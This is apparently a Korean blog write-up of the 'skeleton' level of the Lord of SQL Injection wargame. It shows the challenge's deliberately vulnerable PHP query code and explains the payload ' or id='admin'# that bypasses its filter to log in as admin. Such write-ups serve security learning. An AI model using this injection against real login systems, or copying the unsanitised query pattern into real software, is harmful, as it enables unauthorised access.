<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
1. 식별과 인증이 동시에 이루어지고 있고, 뒤에 and연산자로 뭐가 더 있다.
2. preg_match로 패스워드가 필터링 돼 있지만 음 싱글쿼트나 논리연산자는 사용할 수 있다.
3. 결과적으로 $result['id']값이 admin이 들어가면 클리어.
where id='guest' and pw='{$_GET[pw]}' and 1=0";
위의 조건 where절을 보면 뭔가 길어 보이지만 간단하게 해결할 수 있다.
id값에 admin이 들어가야 하기에 id='guest'쪽을 거짓으로 만들어주고 새롭게 id='admin' 넣고 뒤를 필터링 해보자.
?pw=' or id='admin'# //패스워드가 들어가야할 자리에 이것을 넣어보자.
where id='guest' and pw='' or id='admin'#' and 1=0"; (주석처리 #의 URL인코딩 값은 %23이다잉.)
가운데 or을 기준으로 좌측은 거짓이된다.(id가 guest이면서 패스워드값이 없는 데이터가 테이블이 없기 때문에)
or기준으로 우측을 보면 id가 admin인 행을 가져오라는 의미이고 밑줄친 부분은 주석처리가 되는 부분.
결과적으로 select id from prob_skeleton where id='admin' // 이 쿼리문이 실행된다.
클리어!!
'LoSi' 카테고리의 다른 글
9_LoSi_vampire (0) | 2022.11.26 |
---|---|
8_LoSi_Troll with preg_match() (0) | 2022.11.25 |
7_LoSi_orge (1) | 2022.11.24 |
6_LoSi_darkelf (0) | 2022.11.23 |
5_LoSi_wolfman with whitespace 우회 (0) | 2022.11.23 |